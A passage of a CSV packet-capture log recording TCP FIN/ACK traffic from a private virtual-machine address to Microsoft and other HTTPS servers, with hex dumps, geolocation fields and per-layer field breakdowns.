Ack=4075045341,525400577f945254007bb79208004500002806e3400080067c93c0a87aa8959aa66ec3c801bb35c7133ff2e441dd5010201477740000,RT.W..RT.{....E..(..@...|...z....n....5..?..A.P. .wt..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1763, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 31891, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"149.154.166.110\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50120, \"\"dport\"\": 443, \"\"seq\"\": 902239039, \"\"ack\"\": 4075045341, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 30580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.044914,164,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a19400080065cfdc0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10777, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23805, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.045094,165,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a510400080067473c0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...ts..z...!..$..n.......P....f..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42256, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29811, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.050531,166,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592a4000800654ecc0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y*@...T...z.\nk...#..&...G.Z,P...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22826, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21740, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.052597,167,TCP 192.168.122.168:49687 -> 150.171.28.12:443,192.168.122.168,150.171.28.12,49687,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8075,Microsoft Corporation,37.751,-97.822,150.171.0.0/19,FA,,,Ether > IP > TCP,3,TCP FA Seq=92098708 Ack=3550148941,525400577f945254007bb792080045000028faf74000800611d0c0a87aa896ab1c0cc21701bb057d5094d39af94d50110400ee220000,\"RT.W..RT.{....E..(..@.......z..........}P....MP....\"\"..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64247, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 4560, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"150.171.28.12\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49687, \"\"dport\"\": 443, \"\"seq\"\": 92098708, \"\"ack\"\": 3550148941, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 60962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.052694,168,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280154400080062bfdc0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.T@...+...z..O...&...V>.:..qP.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 340, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11261, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.061058,169,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812dc400080069f99c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4828, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40857, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.372311,170,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a511400080067472c0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...tr..z...!..$..n.......P....f..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42257, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29810, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.372445,171,TCP 192.168.122.168:49687 -> 150.171.28.12:443,192.168.122.168,150.171.28.12,49687,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8075,Microsoft Corporation,37.751,-97.822,150.171.0.0/19,FA,,,Ether > IP > TCP,3,TCP FA Seq=92098708 Ack=3550148941,525400577f945254007bb792080045000028faf84000800611cfc0a87aa896ab1c0cc21701bb057d5094d39af94d50110400ee220000,\"RT.W..RT.{....E..(..@.......z..........}P....MP....\"\"..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64248, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 4559, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"150.171.28.12\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49687, \"\"dport\"\": 443, \"\"seq\"\": 92098708, \"\"ack\"\": 3550148941, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 60962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.372465,172,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280155400080062bfcc0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.U@...+...z..O...&...V>.:..qP.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 341, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11260, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.372483,173,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812dd400080069f98c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4829, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40856, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.481693,174,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a1a400080065cfcc0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10778, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23804, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:08.481859,175,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592b4000800654ebc0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y+@...T...z.\nk...#..&...G.Z,P...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22827, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21739, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:09.075432,176,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a512400080067471c0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...tq..z...!..$..n.......P....f..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42258, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29809, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:09.075568,177,TCP 192.168.122.168:49687 -> 150.171.28.12:443,192.168.122.168,150.171.28.12,49687,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8075,Microsoft Corporation,37.751,-97.822,150.171.0.0/19,FA,,,Ether > IP > TCP,3,TCP FA Seq=92098708 Ack=3550148941,525400577f945254007bb792080045000028faf94000800611cec0a87aa896ab1c0cc21701bb057d5094d39af94d50110400ee220000,\"RT.W..RT.{....E..(..@.......z..........}P....MP....\"\"..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64249, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 4558, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"150.171.28.12\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49687, \"\"dport\"\": 443, \"\"seq\"\": 92098708, \"\"ack\"\": 3550148941, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 60962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:09.075588,178,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280156400080062bfbc0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.V@...+...z..O...&...V>.:..qP.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 342, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11259, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:09.075606,179,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812de400080069f97c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4830, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40855, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:09.182699,180,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a1b400080065cfbc0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10779, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23803, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:09.182842,181,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 